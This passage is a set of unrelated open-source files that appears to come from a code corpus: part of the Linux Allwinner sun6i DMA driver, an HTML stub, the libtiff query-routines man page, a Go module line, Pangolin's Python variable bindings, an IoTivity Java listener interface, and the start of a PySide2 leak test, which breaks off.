DMA_CHAN_CFG_DST_IO_MODE | DMA_CHAN_CFG_SRC_LINEAR_MODE | DMA_CHAN_CFG_SRC_DRQ(DRQ_SDRAM) | DMA_CHAN_CFG_DST_DRQ(vchan->port); dev_dbg(chan2dev(chan), "%s; chan: %d, dest: %pad, src: %pad, len: %u. flags: 0x%08lx\n", __func__, vchan->vc.chan.chan_id, &sconfig->dst_addr, &sg_dma_address(sg), sg_dma_len(sg), flags); } else { v_lli->src = sconfig->src_addr; v_lli->dst = sg_dma_address(sg); v_lli->cfg = lli_cfg | DMA_CHAN_CFG_DST_LINEAR_MODE | DMA_CHAN_CFG_SRC_IO_MODE | DMA_CHAN_CFG_DST_DRQ(DRQ_SDRAM) | DMA_CHAN_CFG_SRC_DRQ(vchan->port); dev_dbg(chan2dev(chan), "%s; chan: %d, dest: %pad, src: %pad, len: %u. flags: 0x%08lx\n", __func__, vchan->vc.chan.chan_id, &sg_dma_address(sg), &sconfig->src_addr, sg_dma_len(sg), flags); } prev = sun6i_dma_lli_add(prev, v_lli, p_lli, txd); } dev_dbg(chan2dev(chan), "First: %pad\n", &txd->p_lli); for (prev = txd->v_lli; prev; prev = prev->v_lli_next) sun6i_dma_dump_lli(vchan, prev); return vchan_tx_prep(&vchan->vc, &txd->vd, flags); err_lli_free: for (prev = txd->v_lli; prev; prev = prev->v_lli_next) dma_pool_free(sdev->pool, prev, virt_to_phys(prev)); kfree(txd); return NULL; } static struct dma_async_tx_descriptor *sun6i_dma_prep_dma_cyclic( struct dma_chan *chan, dma_addr_t buf_addr, size_t buf_len, size_t period_len, enum dma_transfer_direction dir, unsigned long flags) { struct sun6i_dma_dev *sdev = to_sun6i_dma_dev(chan->device); struct sun6i_vchan *vchan = to_sun6i_vchan(chan); struct dma_slave_config *sconfig = &vchan->cfg; struct sun6i_dma_lli *v_lli, *prev = NULL; struct sun6i_desc *txd; dma_addr_t p_lli; u32 lli_cfg; unsigned int i, periods = buf_len / period_len; int ret; ret = set_config(sdev, sconfig, dir, &lli_cfg); if (ret) { dev_err(chan2dev(chan), "Invalid DMA configuration\n"); return NULL; } txd = kzalloc(sizeof(*txd), GFP_NOWAIT); if (!txd) return NULL; for (i = 0; i < periods; i++) { v_lli = dma_pool_alloc(sdev->pool, GFP_NOWAIT, &p_lli); if (!v_lli) { dev_err(sdev->slave.dev, "Failed to alloc lli memory\n"); goto err_lli_free; } v_lli->len = period_len; v_lli->para = NORMAL_WAIT; if (dir == DMA_MEM_TO_DEV) { v_lli->src = buf_addr + period_len * i; v_lli->dst = sconfig->dst_addr; v_lli->cfg = lli_cfg | DMA_CHAN_CFG_DST_IO_MODE | DMA_CHAN_CFG_SRC_LINEAR_MODE | DMA_CHAN_CFG_SRC_DRQ(DRQ_SDRAM) | DMA_CHAN_CFG_DST_DRQ(vchan->port); } else { v_lli->src = sconfig->src_addr; v_lli->dst = buf_addr + period_len * i; v_lli->cfg = lli_cfg | DMA_CHAN_CFG_DST_LINEAR_MODE | DMA_CHAN_CFG_SRC_IO_MODE | DMA_CHAN_CFG_DST_DRQ(DRQ_SDRAM) | DMA_CHAN_CFG_SRC_DRQ(vchan->port); } prev = sun6i_dma_lli_add(prev, v_lli, p_lli, txd); } prev->p_lli_next = txd->p_lli; /* cyclic list */ vchan->cyclic = true; return vchan_tx_prep(&vchan->vc, &txd->vd, flags); err_lli_free: for (prev = txd->v_lli; prev; prev = prev->v_lli_next) dma_pool_free(sdev->pool, prev, virt_to_phys(prev)); kfree(txd); return NULL; } static int sun6i_dma_config(struct dma_chan *chan, struct dma_slave_config *config) { struct sun6i_vchan *vchan = to_sun6i_vchan(chan); memcpy(&vchan->cfg, config, sizeof(*config)); return 0; } static int sun6i_dma_pause(struct dma_chan *chan) { struct sun6i_dma_dev *sdev = to_sun6i_dma_dev(chan->device); struct sun6i_vchan *vchan = to_sun6i_vchan(chan); struct sun6i_pchan *pchan = vchan->phy; dev_dbg(chan2dev(chan), "vchan %p: pause\n", &vchan->vc); if (pchan) { writel(DMA_CHAN_PAUSE_PAUSE, pchan->base + DMA_CHAN_PAUSE); } else { spin_lock(&sdev->lock); list_del_init(&vchan->node); spin_unlock(&sdev->lock); } return 0; } static int sun6i_dma_resume(struct dma_chan *chan) { struct sun6i_dma_dev *sdev = to_sun6i_dma_dev(chan->device); struct sun6i_vchan *vchan = to_sun6i_vchan(chan); struct sun6i_pchan *pchan = vchan->phy; unsigned long flags; dev_dbg(chan2dev(chan), "vchan %p: resume\n", &vchan->vc); spin_lock_irqsave(&vchan->vc.lock, flags); if (pchan) { writel(DMA_CHAN_PAUSE_RESUME, pchan->base + DMA_CHAN_PAUSE); } else if (!list_empty(&vchan->vc.desc_issued)) { spin_lock(&sdev->lock); list_add_tail(&vchan->node, &sdev->pending); spin_unlock(&sdev->lock); } spin_unlock_irqrestore(&vchan->vc.lock, flags); return 0; } static int sun6i_dma_terminate_all(struct dma_chan *chan) { struct sun6i_dma_dev *sdev = to_sun6i_dma_dev(chan->device); struct sun6i_vchan *vchan = to_sun6i_vchan(chan); struct sun6i_pchan *pchan = vchan->phy; unsigned long flags; LIST_HEAD(head); spin_lock(&sdev->lock); list_del_init(&vchan->node); spin_unlock(&sdev->lock); spin_lock_irqsave(&vchan->vc.lock, flags); if (vchan->cyclic) { vchan->cyclic = false; if (pchan && pchan->desc) { struct virt_dma_desc *vd = &pchan->desc->vd; struct virt_dma_chan *vc = &vchan->vc; list_add_tail(&vd->node, &vc->desc_completed); } } vchan_get_all_descriptors(&vchan->vc, &head); if (pchan) { writel(DMA_CHAN_ENABLE_STOP, pchan->base + DMA_CHAN_ENABLE); writel(DMA_CHAN_PAUSE_RESUME, pchan->base + DMA_CHAN_PAUSE); vchan->phy = NULL; pchan->vchan = NULL; pchan->desc = NULL; pchan->done = NULL; } spin_unlock_irqrestore(&vchan->vc.lock, flags); vchan_dma_desc_free_list(&vchan->vc, &head); return 0; } static enum dma_status sun6i_dma_tx_status(struct dma_chan *chan, dma_cookie_t cookie, struct dma_tx_state *state) { struct sun6i_vchan *vchan = to_sun6i_vchan(chan); struct sun6i_pchan *pchan = vchan->phy; struct sun6i_dma_lli *lli; struct virt_dma_desc *vd; struct sun6i_desc *txd; enum dma_status ret; unsigned long flags; size_t bytes = 0; ret = dma_cookie_status(chan, cookie, state); if (ret == DMA_COMPLETE) return ret; spin_lock_irqsave(&vchan->vc.lock, flags); vd = vchan_find_desc(&vchan->vc, cookie); txd = to_sun6i_desc(&vd->tx); if (vd) { for (lli = txd->v_lli; lli != NULL; lli = lli->v_lli_next) bytes += lli->len; } else if (!pchan || !pchan->desc) { bytes = 0; } else { bytes = sun6i_get_chan_size(pchan); } spin_unlock_irqrestore(&vchan->vc.lock, flags); dma_set_residue(state, bytes); return ret; } static void sun6i_dma_issue_pending(struct dma_chan *chan) { struct sun6i_dma_dev *sdev = to_sun6i_dma_dev(chan->device); struct sun6i_vchan *vchan = to_sun6i_vchan(chan); unsigned long flags; spin_lock_irqsave(&vchan->vc.lock, flags); if (vchan_issue_pending(&vchan->vc)) { spin_lock(&sdev->lock); if (!vchan->phy && list_empty(&vchan->node)) { list_add_tail(&vchan->node, &sdev->pending); tasklet_schedule(&sdev->task); dev_dbg(chan2dev(chan), "vchan %p: issued\n", &vchan->vc); } spin_unlock(&sdev->lock); } else { dev_dbg(chan2dev(chan), "vchan %p: nothing to issue\n", &vchan->vc); } spin_unlock_irqrestore(&vchan->vc.lock, flags); } static void sun6i_dma_free_chan_resources(struct dma_chan *chan) { struct sun6i_dma_dev *sdev = to_sun6i_dma_dev(chan->device); struct sun6i_vchan *vchan = to_sun6i_vchan(chan); unsigned long flags; spin_lock_irqsave(&sdev->lock, flags); list_del_init(&vchan->node); spin_unlock_irqrestore(&sdev->lock, flags); vchan_free_chan_resources(&vchan->vc); } static struct dma_chan *sun6i_dma_of_xlate(struct of_phandle_args *dma_spec, struct of_dma *ofdma) { struct sun6i_dma_dev *sdev = ofdma->of_dma_data; struct sun6i_vchan *vchan; struct dma_chan *chan; u8 port = dma_spec->args[0]; if (port > sdev->cfg->nr_max_requests) return NULL; chan = dma_get_any_slave_channel(&sdev->slave); if (!chan) return NULL; vchan = to_sun6i_vchan(chan); vchan->port = port; return chan; } static inline void sun6i_kill_tasklet(struct sun6i_dma_dev *sdev) { /* Disable all interrupts from DMA */ writel(0, sdev->base + DMA_IRQ_EN(0)); writel(0, sdev->base + DMA_IRQ_EN(1)); /* Prevent spurious interrupts from scheduling the tasklet */ atomic_inc(&sdev->tasklet_shutdown); /* Make sure we won't have any further interrupts */ devm_free_irq(sdev->slave.dev, sdev->irq, sdev); /* Actually prevent the tasklet from being scheduled */ tasklet_kill(&sdev->task); } static inline void sun6i_dma_free(struct sun6i_dma_dev *sdev) { int i; for (i = 0; i < sdev->cfg->nr_max_vchans; i++) { struct sun6i_vchan *vchan = &sdev->vchans[i]; list_del(&vchan->vc.chan.device_node); tasklet_kill(&vchan->vc.task); } } /* * For A31: * * There's 16 physical channels that can work in parallel. * * However we have 30 different endpoints for our requests. * * Since the channels are able to handle only an unidirectional * transfer, we need to allocate more virtual channels so that * everyone can grab one channel. * * Some devices can't work in both direction (mostly because it * wouldn't make sense), so we have a bit fewer virtual channels than * 2 channels per endpoints. */ static struct sun6i_dma_config sun6i_a31_dma_cfg = { .nr_max_channels = 16, .nr_max_requests = 30, .nr_max_vchans = 53, }; /* * The A23 only has 8 physical channels, a maximum DRQ port id of 24, * and a total of 37 usable source and destination endpoints. */ static struct sun6i_dma_config sun8i_a23_dma_cfg = { .nr_max_channels = 8, .nr_max_requests = 24, .nr_max_vchans = 37, }; /* * The H3 has 12 physical channels, a maximum DRQ port id of 27, * and a total of 34 usable source and destination endpoints. */ static struct sun6i_dma_config sun8i_h3_dma_cfg = { .nr_max_channels = 12, .nr_max_requests = 27, .nr_max_vchans = 34, }; static const struct of_device_id sun6i_dma_match[] = { { .compatible = "allwinner,sun6i-a31-dma", .data = &sun6i_a31_dma_cfg }, { .compatible = "allwinner,sun8i-a23-dma", .data = &sun8i_a23_dma_cfg }, { .compatible = "allwinner,sun8i-h3-dma", .data = &sun8i_h3_dma_cfg }, { /* sentinel */ } }; MODULE_DEVICE_TABLE(of, sun6i_dma_match); static int sun6i_dma_probe(struct platform_device *pdev) { const struct of_device_id *device; struct sun6i_dma_dev *sdc; struct resource *res; int ret, i; sdc = devm_kzalloc(&pdev->dev, sizeof(*sdc), GFP_KERNEL); if (!sdc) return -ENOMEM; device = of_match_device(sun6i_dma_match, &pdev->dev); if (!device) return -ENODEV; sdc->cfg = device->data; res = platform_get_resource(pdev, IORESOURCE_MEM, 0); sdc->base = devm_ioremap_resource(&pdev->dev, res); if (IS_ERR(sdc->base)) return PTR_ERR(sdc->base); sdc->irq = platform_get_irq(pdev, 0); if (sdc->irq < 0) { dev_err(&pdev->dev, "Cannot claim IRQ\n"); return sdc->irq; } sdc->clk = devm_clk_get(&pdev->dev, NULL); if (IS_ERR(sdc->clk)) { dev_err(&pdev->dev, "No clock specified\n"); return PTR_ERR(sdc->clk); } sdc->rstc = devm_reset_control_get(&pdev->dev, NULL); if (IS_ERR(sdc->rstc)) { dev_err(&pdev->dev, "No reset controller specified\n"); return PTR_ERR(sdc->rstc); } sdc->pool = dmam_pool_create(dev_name(&pdev->dev), &pdev->dev, sizeof(struct sun6i_dma_lli), 4, 0); if (!sdc->pool) { dev_err(&pdev->dev, "No memory for descriptors dma pool\n"); return -ENOMEM; } platform_set_drvdata(pdev, sdc); INIT_LIST_HEAD(&sdc->pending); spin_lock_init(&sdc->lock); dma_cap_set(DMA_PRIVATE, sdc->slave.cap_mask); dma_cap_set(DMA_MEMCPY, sdc->slave.cap_mask); dma_cap_set(DMA_SLAVE, sdc->slave.cap_mask); dma_cap_set(DMA_CYCLIC, sdc->slave.cap_mask); INIT_LIST_HEAD(&sdc->slave.channels); sdc->slave.device_free_chan_resources = sun6i_dma_free_chan_resources; sdc->slave.device_tx_status = sun6i_dma_tx_status; sdc->slave.device_issue_pending = sun6i_dma_issue_pending; sdc->slave.device_prep_slave_sg = sun6i_dma_prep_slave_sg; sdc->slave.device_prep_dma_memcpy = sun6i_dma_prep_dma_memcpy; sdc->slave.device_prep_dma_cyclic = sun6i_dma_prep_dma_cyclic; sdc->slave.copy_align = DMAENGINE_ALIGN_4_BYTES; sdc->slave.device_config = sun6i_dma_config; sdc->slave.device_pause = sun6i_dma_pause; sdc->slave.device_resume = sun6i_dma_resume; sdc->slave.device_terminate_all = sun6i_dma_terminate_all; sdc->slave.src_addr_widths = BIT(DMA_SLAVE_BUSWIDTH_1_BYTE) | BIT(DMA_SLAVE_BUSWIDTH_2_BYTES) | BIT(DMA_SLAVE_BUSWIDTH_4_BYTES); sdc->slave.dst_addr_widths = BIT(DMA_SLAVE_BUSWIDTH_1_BYTE) | BIT(DMA_SLAVE_BUSWIDTH_2_BYTES) | BIT(DMA_SLAVE_BUSWIDTH_4_BYTES); sdc->slave.directions = BIT(DMA_DEV_TO_MEM) | BIT(DMA_MEM_TO_DEV); sdc->slave.residue_granularity = DMA_RESIDUE_GRANULARITY_BURST; sdc->slave.dev = &pdev->dev; sdc->pchans = devm_kcalloc(&pdev->dev, sdc->cfg->nr_max_channels, sizeof(struct sun6i_pchan), GFP_KERNEL); if (!sdc->pchans) return -ENOMEM; sdc->vchans = devm_kcalloc(&pdev->dev, sdc->cfg->nr_max_vchans, sizeof(struct sun6i_vchan), GFP_KERNEL); if (!sdc->vchans) return -ENOMEM; tasklet_init(&sdc->task, sun6i_dma_tasklet, (unsigned long)sdc); for (i = 0; i < sdc->cfg->nr_max_channels; i++) { struct sun6i_pchan *pchan = &sdc->pchans[i]; pchan->idx = i; pchan->base = sdc->base + 0x100 + i * 0x40; } for (i = 0; i < sdc->cfg->nr_max_vchans; i++) { struct sun6i_vchan *vchan = &sdc->vchans[i]; INIT_LIST_HEAD(&vchan->node); vchan->vc.desc_free = sun6i_dma_free_desc; vchan_init(&vchan->vc, &sdc->slave); } ret = reset_control_deassert(sdc->rstc); if (ret) { dev_err(&pdev->dev, "Couldn't deassert the device from reset\n"); goto err_chan_free; } ret = clk_prepare_enable(sdc->clk); if (ret) { dev_err(&pdev->dev, "Couldn't enable the clock\n"); goto err_reset_assert; } ret = devm_request_irq(&pdev->dev, sdc->irq, sun6i_dma_interrupt, 0, dev_name(&pdev->dev), sdc); if (ret) { dev_err(&pdev->dev, "Cannot request IRQ\n"); goto err_clk_disable; } ret = dma_async_device_register(&sdc->slave); if (ret) { dev_warn(&pdev->dev, "Failed to register DMA engine device\n"); goto err_irq_disable; } ret = of_dma_controller_register(pdev->dev.of_node, sun6i_dma_of_xlate, sdc); if (ret) { dev_err(&pdev->dev, "of_dma_controller_register failed\n"); goto err_dma_unregister; } /* * sun8i variant requires us to toggle a dma gating register, * as seen in Allwinner's SDK. This register is not documented * in the A23 user manual. */ if (of_device_is_compatible(pdev->dev.of_node, "allwinner,sun8i-a23-dma")) writel(SUN8I_DMA_GATE_ENABLE, sdc->base + SUN8I_DMA_GATE); return 0; err_dma_unregister: dma_async_device_unregister(&sdc->slave); err_irq_disable: sun6i_kill_tasklet(sdc); err_clk_disable: clk_disable_unprepare(sdc->clk); err_reset_assert: reset_control_assert(sdc->rstc); err_chan_free: sun6i_dma_free(sdc); return ret; } static int sun6i_dma_remove(struct platform_device *pdev) { struct sun6i_dma_dev *sdc = platform_get_drvdata(pdev); of_dma_controller_free(pdev->dev.of_node); dma_async_device_unregister(&sdc->slave); sun6i_kill_tasklet(sdc); clk_disable_unprepare(sdc->clk); reset_control_assert(sdc->rstc); sun6i_dma_free(sdc); return 0; } static struct platform_driver sun6i_dma_driver = { .probe = sun6i_dma_probe, .remove = sun6i_dma_remove, .driver = { .name = "sun6i-dma", .of_match_table = sun6i_dma_match, }, }; module_platform_driver(sun6i_dma_driver); MODULE_DESCRIPTION("Allwinner A31 DMA Controller Driver"); MODULE_AUTHOR("Sugar <[email protected]>"); MODULE_AUTHOR("Maxime Ripard <[email protected]>"); MODULE_LICENSE("GPL");
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>5. GridView Control</title> <link href="styles/additional-styles.css" rel="stylesheet" /> <script src="../includes/scripts/jquery-1.11.0.min.js"></script> <script src="scripts/script.js" type="text/javascript"></script> <!--[if lt IE 9]> <script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script> <![endif]--> </head> <body> <div id='wrapper'></div> </body> </html>
{ "pile_set_name": "Github" }
.\" $Id: TIFFquery.3tiff,v 1.1 2004/11/11 14:39:16 dron Exp $ .\" .\" Copyright (c) 1988-1997 Sam Leffler .\" Copyright (c) 1991-1997 Silicon Graphics, Inc. .\" .\" Permission to use, copy, modify, distribute, and sell this software and .\" its documentation for any purpose is hereby granted without fee, provided .\" that (i) the above copyright notices and this permission notice appear in .\" all copies of the software and related documentation, and (ii) the names of .\" Sam Leffler and Silicon Graphics may not be used in any advertising or .\" publicity relating to the software without the specific, prior written .\" permission of Sam Leffler and Silicon Graphics. .\" .\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, .\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY .\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. .\" .\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR .\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, .\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, .\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF .\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE .\" OF THIS SOFTWARE. .\" .if n .po 0 .TH QUERY 3TIFF "October 29, 2004" "libtiff" .SH NAME TIFFCurrentRow, TIFFCurrentStrip, TIFFCurrentTile, TIFFCurrentDirectory, TIFFLastDirectory, TIFFFileno, TIFFFileName, TIFFGetMode, TIFFIsTiled, TIFFIsByteSwapped, TIFFIsUpSampled, TIFFIsMSB2LSB, TIFFGetVersion \- query routines .SH SYNOPSIS .B "#include <tiffio.h>" .sp .BI "uint32 TIFFCurrentRow(TIFF* " tif ")" .br .BI "tstrip_t TIFFCurrentStrip(TIFF* " tif ")" .br .BI "ttile_t TIFFCurrentTile(TIFF* " tif ")" .br .BI "tdir_t TIFFCurrentDirectory(TIFF* " tif ")" .br .BI "int TIFFLastDirectory(TIFF* " tif ")" .br .BI "int TIFFFileno(TIFF* " tif ")" .br .BI "char* TIFFFileName(TIFF* " tif ")" .br .BI "int TIFFGetMode(TIFF* " tif ")" .br .BI "int TIFFIsTiled(TIFF* " tif ")" .br .BI "int TIFFIsByteSwapped(TIFF* " tif ")" .br .BI "int TIFFIsUpSampled(TIFF* " tif ")" .br .BI "int TIFFIsMSB2LSB(TIFF* " tif ")" .br .BI "const char* TIFFGetVersion(void)" .SH DESCRIPTION The following routines return status information about an open .SM TIFF file. .PP .IR TIFFCurrentDirectory returns the index of the current directory (directories are numbered starting at 0). This number is suitable for use with the .IR TIFFSetDirectory routine. .PP .IR TIFFLastDirectory returns a non-zero value if the current directory is the last directory in the file; otherwise zero is returned. .PP .IR TIFFCurrentRow , .IR TIFFCurrentStrip , and .IR TIFFCurrentTile , return the current row, strip, and tile, respectively, that is being read or written. These values are updated each time a read or write is done. .PP .IR TIFFFileno returns the underlying file descriptor used to access the .SM TIFF image in the filesystem. .PP .IR TIFFFileName returns the pathname argument passed to .IR TIFFOpen or .IR TIFFFdOpen . .PP .IR TIFFGetMode returns the mode with which the underlying file was opened. On .SM UNIX systems, this is the value passed to the .IR open (2) system call. .PP .IR TIFFIsTiled returns a non-zero value if the image data has a tiled organization. Zero is returned if the image data is organized in strips. .PP .IR TIFFIsByteSwapped returns a non-zero value if the image data was in a different byte-order than the host machine. Zero is returned if the TIFF file and local host byte-orders are the same. Note that TIFFReadTile(), TIFFReadStrip() and TIFFReadScanline() functions already normally perform byte swapping to local host order if needed. .PP .I TIFFIsUpSampled returns a non-zero value if image data returned through the read interface routines is being up-sampled. This can be useful to applications that want to calculate I/O buffer sizes to reflect this usage (though the usual strip and tile size routines already do this). .PP .I TIFFIsMSB2LSB returns a non-zero value if the image data is being returned with bit 0 as the most significant bit. .PP .IR TIFFGetVersion returns an .SM ASCII string that has a version stamp for the .SM TIFF library software. .SH DIAGNOSTICS None. .SH "SEE ALSO" .IR libtiff (3TIFF), .IR TIFFOpen (3TIFF), .IR TIFFFdOpen (3TIFF)
{ "pile_set_name": "Github" }
module github.com/konsorten/go-windows-terminal-sequences
{ "pile_set_name": "Github" }
/* This file is part of the Pangolin Project. * http://github.com/stevenlovegrove/Pangolin * * Copyright (c) 2011 Steven Lovegrove * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ #pragma once #include <Python.h> #include <structmember.h> #include <iomanip> #include <pangolin/var/var.h> #include <pangolin/python/PyUniqueObj.h> namespace pangolin { PyObject* GetPangoVarAsPython(const std::string& name) { VarState::VarStoreContainer::iterator i = VarState::I().vars.find(name); if(i != VarState::I().vars.end()) { VarValueGeneric* var = i->second; try{ if( !strcmp(var->TypeId(), typeid(bool).name() ) ) { const bool val = Var<bool>(*var).Get(); return PyBool_FromLong( val ); }else if( !strcmp(var->TypeId(), typeid(short).name() ) || !strcmp(var->TypeId(), typeid(int).name() ) || !strcmp(var->TypeId(), typeid(long).name() ) ) { const long val = Var<long>(*var).Get(); return PyLong_FromLong( val ); }else if( !strcmp(var->TypeId(), typeid(double).name() ) || !strcmp(var->TypeId(), typeid(float).name() ) ) { const double val = Var<double>(*var).Get(); return PyFloat_FromDouble(val); }else{ const std::string val = var->str->Get(); #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromString(val.c_str()); #else return PyString_FromString(val.c_str()); #endif } }catch(std::exception) { } } Py_RETURN_NONE; } void SetPangoVarFromPython(const std::string& name, PyObject* val) { try{ if (PyFloat_Check(val)) { pangolin::Var<double> pango_var(name); pango_var = PyFloat_AsDouble(val); pango_var.Meta().gui_changed = true; }else if (PyLong_Check(val)) { pangolin::Var<long> pango_var(name); pango_var = PyLong_AsLong(val); pango_var.Meta().gui_changed = true; }else if (PyBool_Check(val)) { pangolin::Var<bool> pango_var(name); pango_var = (val == Py_True) ? true : false; pango_var.Meta().gui_changed = true; } #if PY_MAJOR_VERSION >= 3 else if (PyUnicode_Check(val)) { pangolin::Var<std::string> pango_var(name); pango_var = PyUnicode_AsUTF8(val); pango_var.Meta().gui_changed = true; } #else else if (PyString_Check(val)) { pangolin::Var<std::string> pango_var(name); pango_var = PyString_AsString(val); pango_var.Meta().gui_changed = true; } else if (PyInt_Check(val)) { pangolin::Var<int> pango_var(name); pango_var = PyInt_AsLong(val); pango_var.Meta().gui_changed = true; } #endif else { PyUniqueObj pystr = PyObject_Repr(val); #if PY_MAJOR_VERSION >= 3 const std::string str = PyUnicode_AsUTF8(pystr); #else const std::string str = PyString_AsString(pystr); #endif pangolin::Var<std::string> pango_var(name); pango_var = str; pango_var.Meta().gui_changed = true; } FlagVarChanged(); }catch(std::exception e) { pango_print_error("%s\n", e.what()); } } struct PyVar { static PyTypeObject Py_type; PyObject_HEAD PyVar(PyTypeObject *type) { #if PY_MAJOR_VERSION >= 3 ob_base.ob_refcnt = 1; ob_base.ob_type = type; #else ob_refcnt = 1; ob_type = type; #endif } static void Py_dealloc(PyVar* self) { delete self; } static PyObject * Py_new(PyTypeObject *type, PyObject * /*args*/, PyObject * /*kwds*/) { PyVar* self = new PyVar(type); return (PyObject *)self; } static int Py_init(PyVar *self, PyObject *args, PyObject * /*kwds*/) { char* cNamespace = 0; if (!PyArg_ParseTuple(args, "s", &cNamespace)) return -1; self->ns = std::string(cNamespace); return 0; } static PyObject* Py_getattr(PyVar *self, char* name) { const std::string prefix = self->ns + "."; const std::string full_name = self->ns.empty() ? name : prefix + std::string(name); if( !strcmp(name, "__call__") || !strcmp(name, "__dict__") || !strcmp(name, "__methods__") || !strcmp(name, "__class__") ) { // Default behaviour #if PY_MAJOR_VERSION >= 3 return PyObject_GenericGetAttr((PyObject*)self, PyUnicode_FromString(name)); #else return PyObject_GenericGetAttr((PyObject*)self, PyString_FromString(name)); #endif } else if( !strcmp(name, "__members__") ) { const int nss = prefix.size(); PyObject* l = PyList_New(0); for(const std::string& s : VarState::I().var_adds) { if(!s.compare(0, nss, prefix)) { size_t dot = s.find_first_of('.', nss); std::string val = (dot != std::string::npos) ? s.substr(nss, dot - nss) : s.substr(nss); #if PY_MAJOR_VERSION >= 3 PyList_Append(l, PyUnicode_FromString(val.c_str())); #else PyList_Append(l, PyString_FromString(val.c_str())); #endif } } return l; }else if( pangolin::VarState::I().Exists(full_name) ) { return GetPangoVarAsPython(full_name); }else{ PyVar* obj = (PyVar*)PyVar::Py_new(&PyVar::Py_type,NULL,NULL); if(obj) { obj->ns = full_name; return PyObject_Init((PyObject *)obj,&PyVar::Py_type); } return (PyObject *)obj; } Py_RETURN_NONE; } static int Py_setattr(PyVar *self, char* name, PyObject* val) { const std::string full_name = self->ns.empty() ? name : self->ns + "." + std::string(name); SetPangoVarFromPython(full_name, val); return 0; } std::string ns; }; PyTypeObject PyVar::Py_type = { PyVarObject_HEAD_INIT(NULL,0) "pangolin.Var", /* tp_name*/ sizeof(PyVar), /* tp_basicsize*/ 0, /* tp_itemsize*/ (destructor)PyVar::Py_dealloc, /* tp_dealloc*/ 0, /* tp_print*/ (getattrfunc)PyVar::Py_getattr, /* tp_getattr*/ (setattrfunc)PyVar::Py_setattr, /* tp_setattr*/ 0, /* tp_compare*/ 0, /* tp_repr*/ 0, /* tp_as_number*/ 0, /* tp_as_sequence*/ 0, /* tp_as_mapping*/ 0, /* tp_hash */ 0, /* tp_call*/ 0, /* tp_str*/ 0, /* tp_getattro*/ 0, /* tp_setattro*/ 0, /* tp_as_buffer*/ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags*/ "PyVar object", /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ 0, /* tp_methods */ 0, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ (initproc)PyVar::Py_init, /* tp_init */ 0, /* tp_alloc */ (newfunc)PyVar::Py_new, /* tp_new */ 0, /* tp_free */ 0, /* tp_is_gc */ 0, /* tp_bases */ 0, /* tp_mro */ 0, /* tp_cache */ 0, /* tp_subclasses */ 0, /* tp_weaklist */ 0, /* tp_del */ 0 /* tp_version_tag */ }; }
{ "pile_set_name": "Github" }
/* * Copyright 2015 Samsung Electronics All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package oic.simulator.serviceprovider.listener; import oic.simulator.serviceprovider.model.SingleResource; /** * Interface through which the automation events are notified to the UI * listeners. */ public interface IAutomationListener { public void onResourceAutomationStart(SingleResource resource); public void onAutomationComplete(SingleResource resource, String attName); }
{ "pile_set_name": "Github" }
############################################################################# ## ## Copyright (C) 2016 The Qt Company Ltd. ## Contact: https://www.qt.io/licensing/ ## ## This file is part of the test suite of Qt for Python. ## ## $QT_BEGIN_LICENSE:GPL-EXCEPT$ ## Commercial License Usage ## Licensees holding valid commercial Qt licenses may use this file in ## accordance with the commercial license agreement provided with the ## Software or, alternatively, in accordance with the terms contained in ## a written agreement between you and The Qt Company. For licensing terms ## and conditions see https://www.qt.io/terms-conditions. For further ## information use the contact form at https://www.qt.io/contact-us. ## ## GNU General Public License Usage ## Alternatively, this file may be used under the terms of the GNU ## General Public License version 3 as published by the Free Software ## Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT ## included in the packaging of this file. Please review the following ## information to ensure the GNU General Public License requirements will ## be met: https://www.gnu.org/licenses/gpl-3.0.html. ## ## $QT_END_LICENSE$ ## ############################################################################# from __future__ import print_function import unittest import sys import gc from PySide2 import QtGui, QtWidgets try: from sys import gettotalrefcount skiptest = False except ImportError: skiptest = True class ConnectTest(unittest.TestCase): def callback(self, o): print("callback") self._called = o def testNoLeaks_ConnectAndDisconnect(self): self._called = None app = 